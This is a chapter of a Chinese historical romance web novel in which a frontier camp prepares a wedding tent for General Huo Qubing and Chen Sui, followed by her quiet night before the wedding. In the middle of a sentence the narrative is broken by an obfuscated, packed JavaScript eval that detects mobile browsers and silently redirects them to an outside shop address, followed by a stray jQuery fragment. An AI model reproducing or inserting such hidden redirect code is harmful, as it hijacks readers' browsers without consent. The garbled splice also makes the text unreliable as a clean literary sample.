消息传出去之后，整个营地在半天之内变了模样。
最先动起来的是木棍老兵。他天没亮就从工具棚里翻出了营地里最大那顶帐篷的骨架和篷布，在空地上一根一根地检查骨架是否牢固、篷布有没有虫蛀。他拄着木棍在帐篷骨架之间绕了好几圈，把每一根连接处的榫头都拧紧了一遍，然后退后三步看了看，又走回去把篷布的边角重新拉平了。一个路过的年轻屯田兵问他在干什么，他头也没抬：“搭礼帐。将军和农侯成婚用的。”那年轻人愣了一瞬之后快步跑了，大概去传消息了。等到日头升高的时候，几乎所有人都知道了。
文吏是第一个主动来揽活的。他把库房里积了不知多久的红绸翻了出来，一匹一匹地在空地上展开检查有没有破损。他在其中一匹的边缘发现了一个拇指盖大小的小洞，皱着眉在那处缺口旁边比划着修补方案，最后从自己的衣袖上裁了一小块同色的料子补了上去，针脚细密齐整，几乎看不出来。他补完之后把红绸挂在礼帐入口两侧比了比长短，又调整了两遍才满意地系牢了。
灰袍军医最安静。他来的时候没有声张，在礼帐门口站了片刻然后转身走了。过了大约半个时辰他回来了，手里捧着一只干荷叶包，打开来是满满一把干桂花，金黄带褐，带着陈年干花特有的那种收敛而温暖的香气。他蹲在礼帐里把桂花匀匀地撒在帐内地面上，撒完之后站起来拍了拍手上的碎末，转身走了，什么也没说。桂花的气味在帐里慢慢散开，淡淡的甜香，像是把秋天的一部分收进了这顶帐篷里。
陈穗从地头回来看到这一切的时候，手里还拎着那把缠了布条的新铁锹。她站在空地边上看着那顶正在被装饰起来的礼帐，看着红绸在入口两侧垂下来、干桂花的气味从帐帘缝隙里渗出来、木棍老兵在调整帐顶的系绳、文吏蹲在地上量什么东西的长度。她站在那儿看了一会儿，然后放下铁锹走过去：“我来帮忙。”
木棍老兵头也没回：“不用。”文吏蹲在地上量尺寸的手也没停：“你歇着就行。”灰袍军医路过的时候看了她一眼什么也没说就走了，但走了两步又折回来，往她手里塞了一小把桂花：“你拿去放枕边也行。”
陈穗低头看着自己手里那把桂花，又抬头看了看周围正在忙忙碌碌的人。营地里所有人都找到了自己的位置——有人在清点物资，有人在整理场地，有人在搬桌椅，有人在擦洗杯盘。她站在正在被忙碌的人群环绕的礼帐前，发现自己什么都不用做。她站着看了片刻，把手里那把桂花小心地放在帐门口的石台上，然后退后两步，弯腰拎起那把铁锹，走回自己帐里。她把铁锹靠在外墙最顺手的位置，然后掀帘进去，坐了下来。
那匹红绢还叠在枕边的木匣里。她伸手碰了碰它光滑的表面，又把手收回来放在膝盖上。帐外传来木棍老兵指挥调整帐顶系绳的吆喝声、文吏核对礼单数量的报数声、其他人搬动桌椅碰撞的闷响，还有灰袍军医偶尔路过时哼的几句不成调的小曲。所有的声音交织在一起。她坐在帐里听着这些声音——它们全是在为同一件事忙碌，为她和他的事。她把那匹红绢从木匣里拿出来展开，在膝盖上慢慢抚平了每一道折痕，然后重新叠好放回去，盖上了木匣盖子。
同一天的傍晚霍去病坐在主帐里，面前摊着一只新木匣。他把几样东西依次放进去——一双旧手套。磨透了掌心的、羊皮软
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920814|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
塌塌的、内侧写着“陈穗”两个字的。他把手套放好之后又把手伸进怀里，掏出一样东西搁进去。那片最短的竹简，刻着饱满麦穗的，被他随身带了很久，边缘已经被他反复摩挲得泛出了油脂般的光泽。他把两样东西并排放好之后看了看，然后伸手把竹简翻了个面，确认背面那行字还在：“河西。一直。”他看完了，然后盖上了匣盖。
成婚前一晚，陈穗坐在自己帐里灯下，把那四片竹简依次排在面前。从最旧的那片“穗”字开始，到最小那片刻着饱满麦穗的，到刻了“陈穗”两个字的，到最后那片“河西·一直”的。她把它们按照时间顺序排好之后，一片一片地拿起来抚摸边缘——最旧的那片字迹已经模糊得几乎看不清了，但刻痕还在，指纹落在上面能感觉到笔画的走向；最小的那片边缘被她摸得太多次，已经开始发毛了，但麦穗的形状依然清晰饱满。她把每片都摸完之后，把它们叠在一起按顺序放回怀里。然后把那片最旧最小的单独抽了出来，用一块干净的红布包好，放进嫁衣的内袋里，贴在胸口的位置。红色的绸布紧贴着那一小块竹片，像是把这几年所有的重量都收进了一个小小的空间里。
她做完这一切之后站起来，走到帐门口掀帘朝外看了一眼。主帐那边灯还亮着，橘黄色的光从帐布缝隙里渗出来，在夜色中平铺成一团明亮的光晕。隔着那片正在安静生长的麦田，两盏灯遥遥相望。她看了那盏灯良久，然后把帐帘放下来，吹了灯，躺下去。她在黑暗里把手伸进怀里碰了一下那片贴着胸口的小小竹片，然后合上了眼。
帐外主帐的那盏灯还亮着，柔和而温暖，像一粒种子在土壤里安静地等待明天的到来。